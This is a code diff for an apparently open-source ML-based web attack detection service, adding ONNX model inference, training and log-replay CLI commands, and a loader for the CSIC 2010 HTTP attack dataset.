final_score=final_score,
detection_mode=detection_mode,
))
except Exception:
logger.exception("Detection failed")
self._feature_queue.task_done()
def _score_with_ml(self,
feature_vector: list[float]) -> dict[str, float] | None:
"""
Run ML ensemble inference on a single feature vector
and return normalized per-model scores
"""
batch = np.array([feature_vector], dtype=np.float32)
raw = self._inference_engine.predict(batch) # type: ignore[union-attr]
if raw is None:
return None
return {
"ae":
normalize_ae_score(
raw["ae"][0],
self._inference_engine.threshold, # type: ignore[union-attr]
),
"rf":
raw["rf"][0],
"if":
normalize_if_score(raw["if"][0]),
}
async def _dispatch_worker(self) -> None:
"""
Stage 4: Dispatch scored results via the on_result callback.
Stage 4: Dispatch scored results via the
on_result callback
"""
while True:
scored = await self._alert_queue.get()
@ -213,5 +287,8 @@ class Pipeline:
if self._on_result is not None:
await self._on_result(scored)
except Exception:
logger.exception("Dispatch failed for %s", scored.entry.ip)
logger.exception(
"Dispatch failed for %s",
scored.entry.ip,
)
self._alert_queue.task_done()

View File

@ -45,15 +45,26 @@ class _LogHandler(FileSystemEventHandler):
Open the target log file and seek to the end.
"""
try:
self._file = open(self._target, encoding="utf-8", errors="replace") # noqa: SIM115
self._file = open( # noqa: SIM115
self._target, encoding="utf-8", errors="replace")
self._file.seek(0, os.SEEK_END)
self._inode = os.stat(self._target).st_ino
logger.info("Tailing %s (inode %s)", self._target, self._inode)
except FileNotFoundError:
logger.warning("Log file %s not found — waiting for creation", self._target)
logger.warning("Log file %s not found — waiting for creation",
self._target)
self._file = None
self._inode = None
def _enqueue(self, line: str) -> None:
"""
Push one line into the queue, logging drops on full queue
"""
try:
self._queue.put_nowait(line)
except asyncio.QueueFull:
logger.warning("Raw queue full — log line dropped")
def _read_new_lines(self) -> None:
"""
Read all new complete lines from the current file position.
@ -64,7 +75,7 @@ class _LogHandler(FileSystemEventHandler):
for line in self._file:
stripped = line.rstrip("\n\r")
if stripped:
self._loop.call_soon_threadsafe(self._queue.put_nowait, stripped)
self._loop.call_soon_threadsafe(self._enqueue, stripped)
def _handle_rotation(self) -> None:
"""
@ -76,9 +87,11 @@ class _LogHandler(FileSystemEventHandler):
self._file.close()
try:
self._file = open(self._target, encoding="utf-8", errors="replace") # noqa: SIM115
self._file = open( # noqa: SIM115
self._target, encoding="utf-8", errors="replace")
self._inode = os.stat(self._target).st_ino
logger.info("Rotated to new %s (inode %s)", self._target, self._inode)
logger.info("Rotated to new %s (inode %s)", self._target,
self._inode)
except FileNotFoundError:
self._file = None
self._inode = None
@ -93,7 +106,8 @@ class _LogHandler(FileSystemEventHandler):
except FileNotFoundError:
return False
def on_modified(self, event: FileModifiedEvent) -> None: # type: ignore[override]
def on_modified(
self, event: FileModifiedEvent) -> None: # type: ignore[override]
"""
Handle new data appended to the log file.
"""
@ -109,7 +123,8 @@ class _LogHandler(FileSystemEventHandler):
self._read_new_lines()
def on_moved(self, event: FileMovedEvent) -> None: # type: ignore[override]
def on_moved(self,
event: FileMovedEvent) -> None: # type: ignore[override]
"""
Handle log rotation via rename (access.log -> access.log.1).
"""
@ -117,10 +132,12 @@ class _LogHandler(FileSystemEventHandler):
return
if Path(str(event.src_path)).resolve() == Path(self._target).resolve():
logger.info("Log rotated: %s -> %s", event.src_path, event.dest_path)
logger.info("Log rotated: %s -> %s", event.src_path,
event.dest_path)
self._handle_rotation()
def on_created(self, event: FileCreatedEvent) -> None: # type: ignore[override]
def on_created(self,
event: FileCreatedEvent) -> None: # type: ignore[override]
"""
Handle log rotation where a new file is created at the target path.
"""

View File

@ -9,6 +9,7 @@ import time
from collections.abc import AsyncIterator
from contextlib import asynccontextmanager
from pathlib import Path
from typing import TYPE_CHECKING
from fastapi import FastAPI
from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker, create_async_engine
@ -24,6 +25,9 @@ from app.core.redis_manager import redis_manager
from app.models import model_metadata as _model_metadata_reg # noqa: F401
from app.models import threat_event as _threat_event_reg # noqa: F401
if TYPE_CHECKING:
from app.core.detection.inference import InferenceEngine
logger = logging.getLogger(__name__)
@ -59,11 +63,21 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]:
session_factory=app.state.session_factory,
)
inference_engine = _load_inference_engine()
app.state.models_loaded = inference_engine is not None and inference_engine.is_loaded
app.state.detection_mode = "hybrid" if app.state.models_loaded else "rules"
pipeline = Pipeline(
redis_client=redis_client, # type: ignore[arg-type]
rule_engine=RuleEngine(),
geoip=geoip,
on_result=dispatcher.dispatch,
inference_engine=inference_engine,
ensemble_weights={
"ae": settings.ensemble_weight_ae,
"rf": settings.ensemble_weight_rf,
"if": settings.ensemble_weight_if,
},
raw_queue_size=settings.raw_queue_size,
parsed_queue_size=settings.parsed_queue_size,
feature_queue_size=settings.feature_queue_size,
@ -100,6 +114,34 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]:
logger.info("AngelusVigil shut down cleanly")
def _load_inference_engine() -> InferenceEngine | None:
"""
Attempt to load the ONNX inference engine from the
configured model directory, returning None if ML
dependencies are missing or no models are found
"""
try:
from app.core.detection.inference import (
InferenceEngine, )
except ImportError:
logger.info("onnxruntime not installed — running in rules-only mode")
return None
engine = InferenceEngine(model_dir=settings.model_dir)
if engine.is_loaded:
logger.info(
"ML models loaded from %s",
settings.model_dir,
)
return engine
logger.info(
"No ML models found in %s — running in rules-only mode",
settings.model_dir,
)
return None
def create_app() -> FastAPI:
"""
Build and configure the AngelusVigil FastAPI application.
@ -114,12 +156,14 @@ def create_app() -> FastAPI:
app.state.pipeline_running = False
from app.api.health import router as health_router
from app.api.ingest import router as ingest_router
from app.api.models_api import router as models_router
from app.api.stats import router as stats_router
from app.api.threats import router as threats_router
from app.api.websocket import router as ws_router
app.include_router(health_router)
app.include_router(ingest_router)
app.include_router(threats_router)
app.include_router(stats_router)
app.include_router(models_router)

View File

@ -15,14 +15,11 @@ class ModelMetadata(TimestampedModel, table=True):
"""
__tablename__ = "model_metadata"
__table_args__ = (
Index(
"idx_model_metadata_active",
"model_type",
unique=True,
postgresql_where=text("is_active = TRUE"),
),
)
__table_args__ = (Index(
"idx_model_metadata_active",
"model_type",
postgresql_where=text("is_active = TRUE"),
), )
model_type: str = Field(max_length=30)
version: str = Field(max_length=64)

View File

@ -42,15 +42,16 @@ class ThreatEvent(TimestampedModel, table=True):
user_agent: str
threat_score: float = Field(sa_column=Column(Float, nullable=False))
severity: str = Field(max_length=6)
component_scores: dict[str, float] = Field(sa_column=Column(JSON, nullable=False))
component_scores: dict[str, float] = Field(
sa_column=Column(JSON, nullable=False))
geo_country: str | None = Field(default=None, max_length=2)
geo_city: str | None = Field(default=None, max_length=255)
geo_lat: float | None = Field(default=None)
geo_lon: float | None = Field(default=None)
feature_vector: list[float] = Field(sa_column=Column(JSON, nullable=False))
matched_rules: list[str] | None = Field(
default=None, sa_column=Column(JSON, nullable=True)
)
matched_rules: list[str] | None = Field(default=None,
sa_column=Column(JSON,
nullable=True))
model_version: str | None = Field(default=None, max_length=64)
reviewed: bool = Field(default=False)
review_label: str | None = Field(default=None, max_length=20)

View File

@ -40,7 +40,7 @@ class StatsResponse(BaseModel):
"""
time_range: str
total_requests: int
threats_stored: int
threats_detected: int
severity_breakdown: SeverityBreakdown
top_source_ips: list[IPStatEntry]

View File

@ -35,48 +35,49 @@ async def get_stats(
delta = _RANGE_MAP.get(time_range, timedelta(hours=24))
cutoff = datetime.now(UTC) - delta
base = select(ThreatEvent).where(ThreatEvent.created_at >= cutoff) # type: ignore[arg-type]
base = select(ThreatEvent).where(ThreatEvent.created_at
>= cutoff) # type: ignore[arg-type]
total_q = select(func.count()).select_from(base.subquery())
total = (await session.execute(total_q)).scalar_one()
sev_q = (
select(ThreatEvent.severity, func.count()) # type: ignore[call-overload]
.where(ThreatEvent.created_at >= cutoff)
.group_by(ThreatEvent.severity)
)
select(ThreatEvent.severity,
func.count()) # type: ignore[call-overload]
.where(ThreatEvent.created_at >= cutoff).group_by(
ThreatEvent.severity))
sev_rows = (await session.execute(sev_q)).all()
sev_map = {row[0]: row[1] for row in sev_rows}
threats_detected = sev_map.get("HIGH", 0) + sev_map.get("MEDIUM", 0)
ip_q = (
select(ThreatEvent.source_ip, func.count().label("cnt")) # type: ignore[call-overload]
.where(ThreatEvent.created_at >= cutoff)
.group_by(ThreatEvent.source_ip)
.order_by(func.count().desc())
.limit(10)
)
select(ThreatEvent.source_ip,
func.count().label("cnt")) # type: ignore[call-overload]
.where(ThreatEvent.created_at >= cutoff).group_by(
ThreatEvent.source_ip).order_by(func.count().desc()).limit(10))
ip_rows = (await session.execute(ip_q)).all()
path_q = (
select(ThreatEvent.request_path, func.count().label("cnt")) # type: ignore[call-overload]
.where(ThreatEvent.created_at >= cutoff)
.group_by(ThreatEvent.request_path)
.order_by(func.count().desc())
.limit(10)
)
select(ThreatEvent.request_path,
func.count().label("cnt")) # type: ignore[call-overload]
.where(ThreatEvent.created_at >= cutoff).group_by(
ThreatEvent.request_path).order_by(func.count().desc()).limit(10))
path_rows = (await session.execute(path_q)).all()
return StatsResponse(
time_range=time_range,
total_requests=total,
threats_stored=total,
threats_detected=threats_detected,
severity_breakdown=SeverityBreakdown(
high=sev_map.get("HIGH", 0),
medium=sev_map.get("MEDIUM", 0),
low=sev_map.get("LOW", 0),
),
top_source_ips=[IPStatEntry(source_ip=row[0], count=row[1]) for row in ip_rows],
top_attacked_paths=[PathStatEntry(path=row[0], count=row[1]) for row in path_rows],
top_source_ips=[
IPStatEntry(source_ip=row[0], count=row[1]) for row in ip_rows
],
top_attacked_paths=[
PathStatEntry(path=row[0], count=row[1]) for row in path_rows
],
)

View File

@ -9,6 +9,7 @@ from datetime import datetime
from sqlalchemy import func, select
from sqlalchemy.ext.asyncio import AsyncSession
from app.core.detection.ensemble import classify_severity
from app.core.ingestion.pipeline import ScoredRequest
from app.models.threat_event import ThreatEvent
from app.schemas.threats import (
@ -63,19 +64,28 @@ async def get_threats(
count_query = select(func.count()).select_from(ThreatEvent)
if severity:
query = query.where(ThreatEvent.severity == severity.upper()) # type: ignore[arg-type]
count_query = count_query.where(ThreatEvent.severity == severity.upper()) # type: ignore[arg-type]
query = query.where(
ThreatEvent.severity == severity.upper()) # type: ignore[arg-type]
count_query = count_query.where(
ThreatEvent.severity == severity.upper()) # type: ignore[arg-type]
if source_ip:
query = query.where(ThreatEvent.source_ip == source_ip) # type: ignore[arg-type]
count_query = count_query.where(ThreatEvent.source_ip == source_ip) # type: ignore[arg-type]
query = query.where(
ThreatEvent.source_ip == source_ip) # type: ignore[arg-type]
count_query = count_query.where(
ThreatEvent.source_ip == source_ip) # type: ignore[arg-type]
if since:
query = query.where(ThreatEvent.created_at >= since) # type: ignore[arg-type]
count_query = count_query.where(ThreatEvent.created_at >= since) # type: ignore[arg-type]
query = query.where(ThreatEvent.created_at
>= since) # type: ignore[arg-type]
count_query = count_query.where(ThreatEvent.created_at
>= since) # type: ignore[arg-type]
if until:
query = query.where(ThreatEvent.created_at <= until) # type: ignore[arg-type]
count_query = count_query.where(ThreatEvent.created_at <= until) # type: ignore[arg-type]
query = query.where(ThreatEvent.created_at
<= until) # type: ignore[arg-type]
count_query = count_query.where(ThreatEvent.created_at
<= until) # type: ignore[arg-type]
query = query.order_by(ThreatEvent.created_at.desc()) # type: ignore[attr-defined]
query = query.order_by(
ThreatEvent.created_at.desc()) # type: ignore[attr-defined]
query = query.offset(offset).limit(limit)
total = (await session.execute(count_query)).scalar_one()
@ -116,16 +126,16 @@ async def create_threat_event(
status_code=scored.entry.status_code,
response_size=scored.entry.response_size,
user_agent=scored.entry.user_agent,
threat_score=scored.rule_result.threat_score,
severity=scored.rule_result.severity,
threat_score=scored.final_score,
severity=classify_severity(scored.final_score),
component_scores=scored.rule_result.component_scores,
geo_country=scored.geo.country if scored.geo else None,
geo_city=scored.geo.city if scored.geo else None,
geo_lat=scored.geo.lat if scored.geo else None,
geo_lon=scored.geo.lon if scored.geo else None,
geo_country=(scored.geo.country if scored.geo else None),
geo_city=(scored.geo.city if scored.geo else None),
geo_lat=(scored.geo.lat if scored.geo else None),
geo_lon=(scored.geo.lon if scored.geo else None),
feature_vector=scored.feature_vector,
matched_rules=scored.rule_result.matched_rules or None,
model_version="rules-v1",
matched_rules=(scored.rule_result.matched_rules or None),
model_version=scored.detection_mode,
)
session.add(event)
await session.flush()

View File

@ -3,6 +3,10 @@
main.py
"""
import asyncio
import dataclasses
from pathlib import Path
import typer
app = typer.Typer(
@ -11,15 +15,62 @@ app = typer.Typer(
no_args_is_help=True,
)
DEFAULT_MODEL_DIR = "data/models"
DEFAULT_EPOCHS = 100
DEFAULT_BATCH_SIZE = 256
DEFAULT_SYNTHETIC_NORMAL = 1000
DEFAULT_SYNTHETIC_ATTACK = 500
DEFAULT_EXPERIMENT_NAME = "angelusvigil-training"
DEFAULT_SERVER_URL = "http://localhost:8000"
async def _write_metadata(
model_dir: Path,
training_samples: int,
metrics: dict[str, object],
mlflow_run_id: str | None,
threshold: float | None,
) -> None:
"""
Persist training metadata to the database
"""
from app.config import settings
from ml.metadata import save_model_metadata
from sqlalchemy.ext.asyncio import (
AsyncSession,
async_sessionmaker,
create_async_engine,
)
engine = create_async_engine(settings.database_url)
try:
factory = async_sessionmaker(
engine,
class_=AsyncSession,
expire_on_commit=False,
)
async with factory() as session:
await save_model_metadata(
session,
model_dir=model_dir,
training_samples=training_samples,
metrics=metrics,
mlflow_run_id=mlflow_run_id,
threshold=threshold,
)
finally:
await engine.dispose()
@app.command()
def serve(
host: str = typer.Option("0.0.0.0", help="Bind address"),
port: int = typer.Option(8000, help="Bind port"),
reload: bool = typer.Option(False, help="Enable auto-reload for development"),
reload: bool = typer.Option(False,
help="Enable auto-reload for development"),
) -> None:
"""
Start the AngelusVigil API server.
Start the AngelusVigil API server
"""
import uvicorn
@ -31,16 +82,212 @@ def serve(
)
@app.command()
def train(
csic_dir: Path = typer.Option(
None,
help="Path to CSIC 2010 dataset directory",
),
synthetic_normal: int = typer.Option(
DEFAULT_SYNTHETIC_NORMAL,
help="Number of synthetic normal samples",
),
synthetic_attack: int = typer.Option(
DEFAULT_SYNTHETIC_ATTACK,
help="Number of synthetic attack samples",
),
output_dir: Path = typer.Option(
DEFAULT_MODEL_DIR,
help="Directory to save ONNX models",
),
epochs: int = typer.Option(
DEFAULT_EPOCHS,
help="Autoencoder training epochs",
),
batch_size: int = typer.Option(
DEFAULT_BATCH_SIZE,
help="Training batch size",
),
experiment_name: str = typer.Option(
DEFAULT_EXPERIMENT_NAME,
help="MLflow experiment name",
),
) -> None:
"""
Train all ML models and export to ONNX
"""
import numpy as np
from ml.orchestrator import TrainingOrchestrator
X_parts: list[np.ndarray] = []
y_parts: list[np.ndarray] = []
if csic_dir is not None:
if not csic_dir.exists():
typer.echo(
f"Error: CSIC directory not found"
f" at {csic_dir}",
err=True,
)
raise typer.Exit(code=1)
from ml.data_loader import load_csic_dataset, load_csic_normal
normal_path = csic_dir / "normalTrafficTraining.txt"
normal_test_path = csic_dir / "normalTrafficTest.txt"
attack_path = csic_dir / "anomalousTrafficTest.txt"
typer.echo(f"Loading CSIC data from {csic_dir}")
X_csic, y_csic = load_csic_dataset(
normal_path, attack_path
)
X_parts.append(X_csic)
y_parts.append(y_csic)
typer.echo(
f" CSIC: {len(X_csic)} samples"
)
if normal_test_path.exists():
X_extra, y_extra = load_csic_normal(normal_test_path)
X_parts.append(X_extra)
y_parts.append(y_extra)
typer.echo(
f" CSIC normal test: {len(X_extra)} samples"
)
if synthetic_normal > 0 or synthetic_attack > 0:
from ml.synthetic import generate_mixed_dataset
typer.echo(
f"Generating synthetic data:"
f" {synthetic_normal} normal,"
f" {synthetic_attack} attack"
)
X_syn, y_syn = generate_mixed_dataset(
synthetic_normal, synthetic_attack
)
X_parts.append(X_syn)
y_parts.append(y_syn)
if not X_parts:
typer.echo(
"Error: no data sources specified",
err=True,
)
raise typer.Exit(code=1)
X = np.vstack(X_parts)
y = np.concatenate(y_parts)
typer.echo(
f"Total: {len(X)} samples"
f" ({int(np.sum(y == 0))} normal,"
f" {int(np.sum(y == 1))} attack)"
)
orch = TrainingOrchestrator(
output_dir=Path(output_dir),
experiment_name=experiment_name,
epochs=epochs,
batch_size=batch_size,
)
result = orch.run(X, y)
try:
metrics: dict[str, object] = (
dataclasses.asdict(result.ensemble_metrics)
if result.ensemble_metrics else {}
)
asyncio.run(_write_metadata(
Path(output_dir),
int(len(X)),
metrics,
result.mlflow_run_id,
result.ae_metrics.get("ae_threshold"),
))
typer.echo(" Model metadata saved to database")
except Exception as exc:
typer.echo(
f" Warning: could not save metadata to DB: {exc}",
err=True,
)
typer.echo(f"Models exported to {output_dir}")
if result.ensemble_metrics is not None:
typer.echo(
f" Ensemble F1:"
f" {result.ensemble_metrics.f1:.4f}"
)
typer.echo(
f" Ensemble PR-AUC:"
f" {result.ensemble_metrics.pr_auc:.4f}"
)
typer.echo(
f" Passed gates: {result.passed_gates}"
)
if not result.passed_gates:
raise typer.Exit(code=1)
@app.command()
def replay(
log_file: Path = typer.Option(...,
help="Path to nginx access log file"),
url: str = typer.Option(
DEFAULT_SERVER_URL,
help="Running server URL to send logs to",
),
batch_size: int = typer.Option(100, help="Lines per batch"),
) -> None:
"""
Replay historical log lines through the pipeline
"""
import httpx
if not log_file.exists():
typer.echo(
f"Error: log file not found at {log_file}",
err=True,
)
raise typer.Exit(code=1)
lines = log_file.read_text().strip().splitlines()
typer.echo(f"Replaying {len(lines)} lines to {url}")
sent = 0
with httpx.Client(timeout=30.0) as client:
for i in range(0, len(lines), batch_size):
batch = lines[i:i + batch_size]
response = client.post(
f"{url}/ingest/batch",
json={"lines": batch},
)
if response.status_code == 200:
sent += len(batch)
else:
typer.echo(
f" Batch {i} failed: {response.status_code}",
err=True,
)
typer.echo(f"Replayed {sent}/{len(lines)} lines")
@app.command()
def config() -> None:
"""
Print the current configuration (secrets redacted).
Print the current configuration (secrets redacted)
"""
from app.config import settings
safe_fields = {}
for key, value in settings.model_dump().items():
if any(secret in key for secret in ("key", "password", "secret", "token")):
if any(secret in key for secret in (
"key",
"password",
"secret",
"token",
)):
safe_fields[key] = "***REDACTED***"
elif "url" in key and "@" in str(value):
safe_fields[key] = _redact_url(str(value))
@ -54,12 +301,12 @@ def config() -> None:
@app.command()
def health(
url: str = typer.Option(
"http://localhost:8000",
DEFAULT_SERVER_URL,
help="Base URL of the running server",
),
) -> None:
"""
Ping the running server's /health endpoint.
Ping the running server's /health endpoint
"""
import httpx
@ -69,18 +316,24 @@ def health(
data = response.json()
typer.echo(f" status: {data.get('status', 'unknown')}")
typer.echo(f" uptime: {data.get('uptime_seconds', 0):.0f}s")
typer.echo(f" pipeline: {'running' if data.get('pipeline_running') else 'stopped'}")
typer.echo(
f" pipeline: {'running' if data.get('pipeline_running') else 'stopped'}"
)
except httpx.ConnectError:
typer.echo("Error: cannot connect to server", err=True)
raise typer.Exit(code=1) from None
except httpx.HTTPStatusError as exc:
typer.echo(f"Error: server returned {exc.response.status_code}", err=True)
typer.echo(
f"Error: server returned {exc.response.status_code}",
err=True,
)
raise typer.Exit(code=1) from None
def _redact_url(url: str) -> str:
"""
Replace the user:password portion of a database URL with ***:***.
Replace the user:password portion of a database
URL with ***:***
"""
if "://" not in url or "@" not in url:
return url

View File

@ -45,20 +45,19 @@ class ThreatAutoencoder(nn.Module):
nn.LeakyReLU(0.2),
nn.Dropout(0.2),
nn.Linear(24, input_dim),
nn.Sigmoid(),
)
def encode(self, x: Tensor) -> Tensor:
"""
Compress input through the encoder to the 6-dim bottleneck.
"""
return self.encoder(x)
return self.encoder(x) # type: ignore[no-any-return]
def decode(self, z: Tensor) -> Tensor:
"""
Reconstruct input from the bottleneck representation.
"""
return self.decoder(z)
return self.decoder(z) # type: ignore[no-any-return]
def forward(self, x: Tensor) -> Tensor:
"""
@ -71,4 +70,4 @@ class ThreatAutoencoder(nn.Module):
Per-sample mean squared error between input and reconstruction.
"""
reconstructed = self.forward(x)
return torch.mean((x - reconstructed) ** 2, dim=1)
return torch.mean((x - reconstructed)**2, dim=1)

View File

@ -0,0 +1,228 @@
"""
©AngelaMos | 2026
data_loader.py
"""
import logging
import re
from dataclasses import dataclass
from datetime import datetime, UTC
from pathlib import Path
import numpy as np
from app.core.features.encoder import encode_for_inference
from app.core.features.extractor import extract_request_features
from app.core.features.mappings import WINDOWED_FEATURE_NAMES
from app.core.ingestion.parsers import ParsedLogEntry
logger = logging.getLogger(__name__)
_REQUEST_LINE_RE = re.compile(
r"^(GET|POST|PUT|DELETE|HEAD|OPTIONS|PATCH|TRACE)"
r"\s+(\S+)\s+(HTTP/\d\.\d)\s*$")
_DEFAULT_IP = "192.168.1.100"
_DEFAULT_UA = ("Mozilla/5.0 (compatible; Konqueror/3.5; Linux)"
" KHTML/3.5.8 (like Gecko)")
@dataclass
class CSICRequest:
"""
Single HTTP request parsed from CSIC 2010 dataset format
"""
method: str
path: str
query_string: str
protocol: str
headers: dict[str, str]
body: str
label: int
def parse_csic_file(
path: Path,
label: int,
) -> list[CSICRequest]:
"""
Parse a CSIC 2010 dataset file into a list of CSICRequest objects
"""
text = path.read_text(encoding="utf-8", errors="replace")
lines = text.splitlines()
blocks: list[list[str]] = []
current: list[str] = []
for line in lines:
match = _REQUEST_LINE_RE.match(line)
if match and current:
blocks.append(current)
current = [line]
elif match:
current = [line]
elif current:
current.append(line)
if current:
blocks.append(current)
results: list[CSICRequest] = []
for block in blocks:
req = _parse_request_block(block, label)
if req is not None:
results.append(req)
logger.info(
"Parsed %d requests from %s (label=%d)",
len(results),
path.name,
label,
)
return results
def _parse_request_block(
lines: list[str],
label: int,
) -> CSICRequest | None:
"""
Parse a single request block into a CSICRequest
"""
if not lines:
return None
match = _REQUEST_LINE_RE.match(lines[0])
if not match:
return None
method = match.group(1)
full_uri = match.group(2)
protocol = match.group(3)
if "?" in full_uri:
path, query_string = full_uri.split("?", 1)
else:
path = full_uri
query_string = ""
headers: dict[str, str] = {}
body_start = len(lines)
for i, line in enumerate(lines[1:], 1):
if not line.strip():
body_start = i + 1
break
if ": " in line:
key, value = line.split(": ", 1)
headers[key] = value
body_lines = [ln for ln in lines[body_start:] if ln.strip()]
body = "\n".join(body_lines)
return CSICRequest(
method=method,
path=path,
query_string=query_string,
protocol=protocol,
headers=headers,
body=body,
label=label,
)
def csic_to_parsed_entry(req: CSICRequest) -> ParsedLogEntry:
"""
Convert a CSICRequest to a ParsedLogEntry with synthesized defaults
for fields not present in the CSIC dataset
"""
ua = req.headers.get("User-Agent", _DEFAULT_UA)
query = req.query_string
if req.body:
query = (f"{query}&{req.body}" if query else req.body)
return ParsedLogEntry(
ip=_DEFAULT_IP,
timestamp=datetime.now(UTC),
method=req.method,
path=req.path,
query_string=query,
status_code=200,
response_size=0,
referer="",
user_agent=ua,
raw_line="",
)
def load_csic_dataset(
normal_path: Path,
attack_path: Path,
) -> tuple[np.ndarray, np.ndarray]:
"""
Load CSIC 2010 normal and attack files, extract features,
and return (X, y) arrays ready for model training
"""
normal_reqs = parse_csic_file(normal_path, label=0)
attack_reqs = parse_csic_file(attack_path, label=1)
all_reqs = normal_reqs + attack_reqs
vectors: list[list[float]] = []
labels: list[int] = []
for req in all_reqs:
entry = csic_to_parsed_entry(req)
features = extract_request_features(entry)
for name in WINDOWED_FEATURE_NAMES:
features[name] = 0.0
vector = encode_for_inference(features)
vectors.append(vector)
labels.append(req.label)
X = np.array(vectors, dtype=np.float32)
y = np.array(labels, dtype=np.int32)
logger.info(
"Dataset loaded: X=%s, y=%s (normal=%d, attack=%d)",
X.shape,
y.shape,
np.sum(y == 0),
np.sum(y == 1),
)
return X, y
def load_csic_normal(
path: Path,
) -> tuple[np.ndarray, np.ndarray]:
"""
Load a CSIC 2010 normal traffic file and return (X, y) arrays
with all labels set to 0
"""
reqs = parse_csic_file(path, label=0)
vectors: list[list[float]] = []
for req in reqs:
entry = csic_to_parsed_entry(req)
features = extract_request_features(entry)
for name in WINDOWED_FEATURE_NAMES:
features[name] = 0.0
vectors.append(encode_for_inference(features))
X = np.array(vectors, dtype=np.float32)
y = np.zeros(len(vectors), dtype=np.int32)
logger.info(
"Loaded %d normal samples from %s",
len(vectors),
path.name,
)
return X, y

View File

@ -0,0 +1,108 @@
"""
©AngelaMos | 2026
download_csic.py
"""
import hashlib
import logging
import sys
from pathlib import Path
import httpx
logger = logging.getLogger(__name__)
DATASET_DIR = Path("data/datasets/csic2010")
BASE_URL = ("https://gitlab.fing.edu.uy"
"/gsi/web-application-attacks-datasets"
"/-/raw/master/csic_2010")
FILES = [
"normalTrafficTraining.txt",
"normalTrafficTest.txt",
"anomalousTrafficTest.txt",
]
MIN_FILE_BYTES = 1_000_000
def _compute_sha256(path: Path) -> str:
"""
Compute SHA-256 hash of a file
"""
h = hashlib.sha256()
with open(path, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
h.update(chunk)
return h.hexdigest()
def download_csic(output_dir: Path = DATASET_DIR, ) -> None:
"""
Download CSIC 2010 dataset files
"""
output_dir.mkdir(parents=True, exist_ok=True)
for filename in FILES:
dest = output_dir / filename
if dest.exists() and dest.stat().st_size > MIN_FILE_BYTES:
logger.info("Skipping %s (already exists)", filename)
continue
url = f"{BASE_URL}/{filename}"
logger.info("Downloading %s", url)
print(f"Downloading {filename}...")
try:
with httpx.stream(
"GET",
url,
follow_redirects=True,
) as response:
response.raise_for_status()
total = int(
response.headers.get("content-length", 0)
)
downloaded = 0
with open(dest, "wb") as f:
for chunk in response.iter_bytes(
chunk_size=65536
):
f.write(chunk)
downloaded += len(chunk)
if total > 0:
pct = min(
downloaded * 100 / total, 100
)
sys.stdout.write(f"\r {pct:.0f}%")
else:
mb = downloaded / 1_048_576
sys.stdout.write(f"\r {mb:.1f} MB")
sys.stdout.flush()
print()
except Exception as exc:
logger.error(
"Failed to download %s: %s",
filename,
exc,
)
print(f"\nError downloading {filename}: {exc}")
continue
size = dest.stat().st_size
sha = _compute_sha256(dest)
print(f" Saved: {dest}"
f" ({size:,} bytes, sha256={sha[:12]})")
if size < MIN_FILE_BYTES:
print(f" WARNING: {filename} is suspiciously"
f" small ({size:,} bytes)")
print(f"\nDataset directory: {output_dir.resolve()}")
if __name__ == "__main__":
logging.basicConfig(level=logging.INFO)
download_csic()

View File

@ -0,0 +1,104 @@
"""
©AngelaMos | 2026
experiment.py
"""
import platform
import subprocess
import sys
from pathlib import Path
from types import TracebackType
import mlflow
class VigilExperiment:
"""
Context manager wrapping MLflow experiment runs
with automatic system metadata logging
"""
def __init__(self, experiment_name: str) -> None:
self._experiment_name = experiment_name
self._run: mlflow.ActiveRun | None = None
self._run_id: str | None = None
@property
def run_id(self) -> str | None:
"""
The MLflow run ID, set after entering context
"""
return self._run_id
def __enter__(self) -> VigilExperiment:
mlflow.set_experiment(self._experiment_name)
self._run = mlflow.start_run()
self._run_id = self._run.info.run_id
self._log_system_metadata()
return self
def __exit__(
self,
exc_type: type[BaseException] | None,
exc_val: BaseException | None,
exc_tb: TracebackType | None,
) -> None:
if exc_type is not None:
mlflow.set_tag("status", "failed")
mlflow.set_tag("error", str(exc_val)[:500])
else:
mlflow.set_tag("status", "completed")
mlflow.end_run()
self._run = None
def log_params(self, params: dict[str, object]) -> None:
"""
Log a dictionary of parameters to the active run
"""
mlflow.log_params(params)
def log_metrics(
self,
metrics: dict[str, float],
step: int | None = None,
) -> None:
"""
Log a dictionary of metrics to the active run
"""
mlflow.log_metrics(metrics, step=step)
def log_artifact(self, path: Path | str) -> None:
"""
Log a local file as an artifact
"""
mlflow.log_artifact(str(path))
def _log_system_metadata(self) -> None:
"""
Record Python version and git commit hash
"""
mlflow.set_tag("python_version", sys.version.split()[0])
mlflow.set_tag("platform", platform.system())
git_hash = _get_git_hash()
if git_hash is not None:
mlflow.set_tag("git_commit", git_hash)
def _get_git_hash() -> str | None:
"""
Return the short git commit hash or None
"""
try:
result = subprocess.run(
["git", "rev-parse", "--short", "HEAD"],
capture_output=True,
text=True,
timeout=5,
check=False,
)
if result.returncode == 0:
return result.stdout.strip()
except FileNotFoundError:
pass
return None

View File

@ -0,0 +1,90 @@
"""
©AngelaMos | 2026
export_onnx.py
"""
from pathlib import Path
import torch
from skl2onnx import convert_sklearn
from skl2onnx.common.data_types import FloatTensorType
from sklearn.base import BaseEstimator
from ml.autoencoder import ThreatAutoencoder
ONNX_OPSET = 17
SKL_TARGET_OPSET = {"": 17, "ai.onnx.ml": 3}
def export_autoencoder(
model: ThreatAutoencoder,
path: Path | str,
opset: int = ONNX_OPSET,
) -> Path:
"""
Export a PyTorch autoencoder to ONNX with dynamic batch dimension
"""
path = Path(path)
path.parent.mkdir(parents=True, exist_ok=True)
model.eval()
dummy = torch.randn(1, model.input_dim)
batch_dim = torch.export.Dim("batch_size", min=1)
torch.onnx.export(
model,
dummy, # type: ignore[arg-type]
str(path),
opset_version=opset,
export_params=True,
do_constant_folding=True,
input_names=["features"],
output_names=["reconstructed"],
dynamic_shapes={"x": {
0: batch_dim
}},
)
return path
def export_random_forest(
model: BaseEstimator,
n_features: int,
path: Path | str,
) -> Path:
"""
Export a sklearn random forest (or calibrated wrapper) to ONNX
"""
path = Path(path)
path.parent.mkdir(parents=True, exist_ok=True)
initial_type = [("features", FloatTensorType([None, n_features]))]
onnx_model = convert_sklearn(
model,
initial_types=initial_type,
target_opset=SKL_TARGET_OPSET,
)
path.write_bytes(onnx_model.SerializeToString())
return path
def export_isolation_forest(
model: BaseEstimator,
n_features: int,
path: Path | str,
) -> Path:
"""
Export a sklearn isolation forest to ONNX
"""
path = Path(path)
path.parent.mkdir(parents=True, exist_ok=True)
initial_type = [("features", FloatTensorType([None, n_features]))]
onnx_model = convert_sklearn(
model,
